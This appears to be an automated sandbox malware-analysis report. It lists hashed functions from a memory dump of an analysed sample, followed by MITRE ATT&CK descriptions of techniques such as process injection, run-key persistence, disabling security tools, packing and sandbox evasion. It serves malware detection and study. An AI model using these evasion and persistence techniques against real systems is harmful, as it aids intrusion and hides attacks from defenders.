Opcode Fuzzy Hash: 52e69428c4eec3f7c6614eaf1a0de9c357ecf83765a398f5911e5ef4739981fb
Instruction Fuzzy Hash: 42B1C321F1A95D8EEB54FBA8EC65AEDBBB0FF88311F0002BBD00CD7196DE2468458751

Function 00007FFD9B8A2640 Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11673a3a187846d9dc0a994a4e38ca55febed593b1ce44bbf2237a147d3c958f
Instruction ID: ad3f504a82f9382242310d9a392aa51b9cd3b9369e22b5f837194ed5dc1b24ff
Opcode Fuzzy Hash: 11673a3a187846d9dc0a994a4e38ca55febed593b1ce44bbf2237a147d3c958f
Instruction Fuzzy Hash: 4FB10531B1DA4E4FE768EF9888646B67391EF89310F5400BAD00DC72D7DE29AD46C7A1

Function 00007FFD9B8A0EB5 Relevance: .3, Instructions: 286COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bcd8690ba01359bd4e523d7a105227007121dd3767cf379c84307353c6707c3
Instruction ID: 18e586e270a73b6295339a2fa399d04f83ddcc84fb85dbbcfaef74df47141595
Opcode Fuzzy Hash: 7bcd8690ba01359bd4e523d7a105227007121dd3767cf379c84307353c6707c3
Instruction Fuzzy Hash: 0581C431B19E4D4FDB98EBAC84656B8B7E2EF9D710F15017AE04ED32D6CE246802C751

Function 00007FFD9B8A39E9 Relevance: .2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0626d12a6e7031fd336e752fa446f821261d11adeb75bbfb2edb84a53be1eca2
Instruction ID: 04532f825c9fb1cda5a9a41c59c87608e921e5f1267e2dfa5af3274cfaf3fc73
Opcode Fuzzy Hash: 0626d12a6e7031fd336e752fa446f821261d11adeb75bbfb2edb84a53be1eca2
Instruction Fuzzy Hash: 3581FE70E09A5D8FDB54EBA8C8A5BAD77B1FF58300F50047AD00DE7296DB38A981CB51

Function 00007FFD9B8A0B85 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66f027cbe9bb4bf9b39355427eff4c1fa1c877eee6216f66c92166caa677767d
Instruction ID: e172809bc95aa893bd0d13c0448f923db6ed7686d71b1e1fa95386dbbfef2ffb
Opcode Fuzzy Hash: 66f027cbe9bb4bf9b39355427eff4c1fa1c877eee6216f66c92166caa677767d
Instruction Fuzzy Hash: 42412A61B19A490FD799EB6898A5AB573E2EF98300B1541F7E01DC32EBDD28EC428351

Function 00007FFD9B8A0CDA Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ae7826c8bc725bd0a3c5c9e9c8be7438709d8a3f678c1fb5700f3c634baa6de
Instruction ID: 6c7f7e74791df2e728b7688d3ba901b69103858dc386a3b2c590887fbe257864
Opcode Fuzzy Hash: 5ae7826c8bc725bd0a3c5c9e9c8be7438709d8a3f678c1fb5700f3c634baa6de
Instruction Fuzzy Hash: 89310D61B1DB480FE759A76CA4166B97BD1EF99314F0401BFF04EC31C7DD2868028396

Function 00007FFD9B8A50A9 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45f244f4f19e89e418ac4efb3f64ee7e960df8da33d5439f5e27dcedb42af3fb
Instruction ID: 76c80b0a3211c5db532d45ced8d91194381cf8549331337103aea6cfe6d87d1d
Opcode Fuzzy Hash: 45f244f4f19e89e418ac4efb3f64ee7e960df8da33d5439f5e27dcedb42af3fb
Instruction Fuzzy Hash: 59310521B0EA4D4FDB55EB6858255FD7BF1EF88300B0A01FBD408D72D7CE1869458362

Function 00007FFD9B8A0A76 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f1e63ae9295df6cc445097b8bef7ad39cfecee91bbf1d3748e2b8f728a45e64
Instruction ID: e18d899001b6166e902bbd55d0fbfe2e7843b255b5b0ff143a5046cd2ddc8ed2
Opcode Fuzzy Hash: 5f1e63ae9295df6cc445097b8bef7ad39cfecee91bbf1d3748e2b8f728a45e64
Instruction Fuzzy Hash: EE31D531A1991D8FEB65EBB8D4686EDBBF0FF18300F050576D00DE31A1DA38A985CB60

Function 00007FFD9B8A2488 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eebcaf7077f7e06f71b8731580746a57614639782bf826c594f762af80629123
Instruction ID: 47afaefd70abbc7c7b50d79c3b175bde91acf7ecd7736f5d4d785c36885f1035
Opcode Fuzzy Hash: eebcaf7077f7e06f71b8731580746a57614639782bf826c594f762af80629123
Instruction Fuzzy Hash: FF210631F1891D4BEB58EB9CA8256FDB7E2FB98310F1401BBE41DD32C5DD28694147A1

Function 00007FFD9B8A0860 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b981d3134ae9dd7a40a0c39614f964ec1daf416cf113610e733e5186649a87ce
Instruction ID: 8d4957748211d540ebd6ded74881a4b54704474952d7478167465afc2f0025d8
Opcode Fuzzy Hash: b981d3134ae9dd7a40a0c39614f964ec1daf416cf113610e733e5186649a87ce
Instruction Fuzzy Hash: 9E21993171E7CC0FD746AB7894B14E93BE0EF89254F0405BBE08DCB1A3CD19A5068351

Function 00007FFD9B8A09C1 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ba37923c2529afaa9fde870981f083c6921fc3595aeb7a592a4d55541b505f7
Instruction ID: f626043892bc96c34727236e908ccc81e2a389afff5ab6530f4a54a8b583f988
Opcode Fuzzy Hash: 0ba37923c2529afaa9fde870981f083c6921fc3595aeb7a592a4d55541b505f7
Instruction Fuzzy Hash: 3C112412B2EE4F0FF7B8A7E814796B53AC1DF99A00B0A417AD40CC31A7DD18B90243A1

Function 00007FFD9B8A089D Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df6a9a51f1db2bdbbb12af5961615cbab7b9175ebe838276fe400aae2fa0c7ff
Instruction ID: ffed3b32e84cbb205af5445dc1a831d1f039d523bbae033ddd1786e5b4602dfb
Opcode Fuzzy Hash: df6a9a51f1db2bdbbb12af5961615cbab7b9175ebe838276fe400aae2fa0c7ff
Instruction Fuzzy Hash: 3211783171DB8C0FD785EB6884B05A97BE0EF98350F01057FE08DC72B2DE29A6428312

Function 00007FFD9B8A09E0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9edbf0acb9d22142df7d08a4c2b092fbcf82be94b3efb46536da10809aa76125
Instruction ID: 1e52e21390cd5e2e6dbb33ce6aeabac99880a31bb2dcd146ac73f76406755bbf
Opcode Fuzzy Hash: 9edbf0acb9d22142df7d08a4c2b092fbcf82be94b3efb46536da10809aa76125
Instruction Fuzzy Hash: 6201D412B2ED0F0BE2B866AC28696B625C5DFDCA50B46023AE50DC2296DD59B94243A1

Function 00007FFD9B8A0E39 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad4cd3fb73bfe2904a707fbc67a1dbfff7472af17c58b0308ea54499ad6d1906
Instruction ID: 12bc673890c2e9845e5a3a7131085dd5d2ad4141d3a9f1ad3d70d27c704835f9
Opcode Fuzzy Hash: ad4cd3fb73bfe2904a707fbc67a1dbfff7472af17c58b0308ea54499ad6d1906
Instruction Fuzzy Hash: B0012B20B0E6C80FE347E37898A86B43FD1AF87215B0A41F6E44CCB0B7C9584D46C312

Function 00007FFD9B8A4F11 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a29ea308836018c13c32d4867b5e0ef4040b0fd6010c8b3fa783a574ca825c3a
Instruction ID: 2c909374a8addb269547a934e70d011cab481d6af7be723c30a03807899701b2
Opcode Fuzzy Hash: a29ea308836018c13c32d4867b5e0ef4040b0fd6010c8b3fa783a574ca825c3a
Instruction Fuzzy Hash: D1014920B0E1860AEB2D13B854702F82B11DF89314F0A01FAD49CCA0E7CD1D29928371

Function 00007FFD9B8A4064 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d25b1a7c0702bfae66762d92cec232d4ee47dd44c0e117c85a48bb520ab2a7a
Instruction ID: 26dea0f91d23c335920e3e091c5e7c8e18ddf3d160fbb587f50254974d4590b6
Opcode Fuzzy Hash: 9d25b1a7c0702bfae66762d92cec232d4ee47dd44c0e117c85a48bb520ab2a7a
Instruction Fuzzy Hash: 96F02852F0AC0E0FEFE8AB6C18A62B977D1EF9C210B68407EE55DD31D6DD1468075352

Function 00007FFD9B8A518D Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37091916f8058475c8e73c4805f43d73fdd4d965314ca50d3a5488b217c49b5c
Instruction ID: 238a33272fc4e68cd96d60f50404f2f18a3fc76cd6fc69dbb1e402a811c0a1f2
Opcode Fuzzy Hash: 37091916f8058475c8e73c4805f43d73fdd4d965314ca50d3a5488b217c49b5c
Instruction Fuzzy Hash: B6F0C835F0540E8BEB64EB9C98651FE77F1EF8C310B150475D40DE3295CD24AE4287A1

Function 00007FFD9B8A0DF6 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0baa19ec438b250fadc984b2cc5412194bb6122f60d0b229022e3253367ce937
Instruction ID: 640905c52bc330964d6a3d91f94d8952293ad2d8d7451afbc2605f71e0667724
Opcode Fuzzy Hash: 0baa19ec438b250fadc984b2cc5412194bb6122f60d0b229022e3253367ce937
Instruction Fuzzy Hash: 1DE02B7290E64C1EEB48AA59FC17CF67B98DA87234B00015FF19DC1163F11265638255

Function 00007FFD9B8A4D65 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e45fe7174ee05334187686f20424125eaa3b489d59492c17852bde4174b001d6
Instruction ID: 4dd87c8862716809aed0ad5b4121e72422b7050e8ec7d5ea283e9b914a0562c7
Opcode Fuzzy Hash: e45fe7174ee05334187686f20424125eaa3b489d59492c17852bde4174b001d6
Instruction Fuzzy Hash: 43E0263294EE0D8BEF98AB999C242E937A4FF4D308F050AAEE05CC7191D7365A55C345

Function 00007FFD9B8A3C81 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9651b1a379a37cf73d1ef56c6372adc463d38bbe197c862df194d25e367e9d54
Instruction ID: b0269ee6e9772c6c9a8df2448c50257ada582ddc90679bbc330555f2507c5926
Opcode Fuzzy Hash: 9651b1a379a37cf73d1ef56c6372adc463d38bbe197c862df194d25e367e9d54
Instruction Fuzzy Hash: 57E0DF35A5EA0C6BDB64AB59BC2168976A2FB8C308F0102AAE44CC3191D7265B55C301

Function 00007FFD9B8A4EF0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89e2f7067f99462b341a5d5156493e351b7a7bc9120d9aebce63b154eefa5c7b
Instruction ID: 00b37db1837834344a0fcdb330ca2e3edb0b4b1ee97ad1ce8a079790a6dffa56
Opcode Fuzzy Hash: 89e2f7067f99462b341a5d5156493e351b7a7bc9120d9aebce63b154eefa5c7b
Instruction Fuzzy Hash: B3D0925194F7D54ECB0352B91C390846F606E0741074E56EFC484CB6A3D48D098A8322

Function 00007FFD9B8A0CC0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56e22a411b1c2d17606c7cef921ea1bf29e5d5df48685090e31d27ffc3da4c19
Instruction ID: b27ea76ed75f75138897d4e9172e0d7637fed6f4dc74fbc6868529ee36b9c12a
Opcode Fuzzy Hash: 56e22a411b1c2d17606c7cef921ea1bf29e5d5df48685090e31d27ffc3da4c19
Instruction Fuzzy Hash: C5C02B13B8AD0E098B0C6058BC40CE1F380C7401303400AB3C40AC204CEC2B94C20340

Function 00007FFD9B8A06B9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c86754fc2bf1988c23bd9905d0782b95ecd0da6cf556ae036c6ce67397ea6f42
Instruction ID: ef456549d92374651328a2e60dc664f271419af54efa6d9a740724b5c9d31a00
Opcode Fuzzy Hash: c86754fc2bf1988c23bd9905d0782b95ecd0da6cf556ae036c6ce67397ea6f42
Instruction Fuzzy Hash: CBB0124180F3D159D31722782C300C63E540D0310831D01D7E0D5450E3A84480484105

Non-executed Functions

Function 00007FFD9B8A06D0 Relevance: 5.2, Strings: 4, Instructions: 206COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FFD9B8A06C2
=M_^, xrefs: 00007FFD9B8A0701
M_^, xrefs: 00007FFD9B8A0712
M_^, xrefs: 00007FFD9B8A0722

Memory Dump Source

Source File: 0000004E.00000002.2983816746.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_78_2_7ffd9b8a0000_IMiOGCAyeLWFuBBcn.jbxd

Similarity

API ID:
String ID: =M_^$M_^$M_^$M_^
API String ID: 0-2423413365
Opcode ID: 69783a6bf885e8b02af739a3753e204295be59d3ffaf8e93b0ee0efd25e79f5c
Instruction ID: 2e1fa7757064c557712471463d5fc9a8a28724a07ffbff46050c2b4e0a120e3b
Opcode Fuzzy Hash: 69783a6bf885e8b02af739a3753e204295be59d3ffaf8e93b0ee0efd25e79f5c
Instruction Fuzzy Hash: 31511483B1F6D94FE72257A86C760F43F90DF56A1471A02F7D0DC4B0E3A8197A068751

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

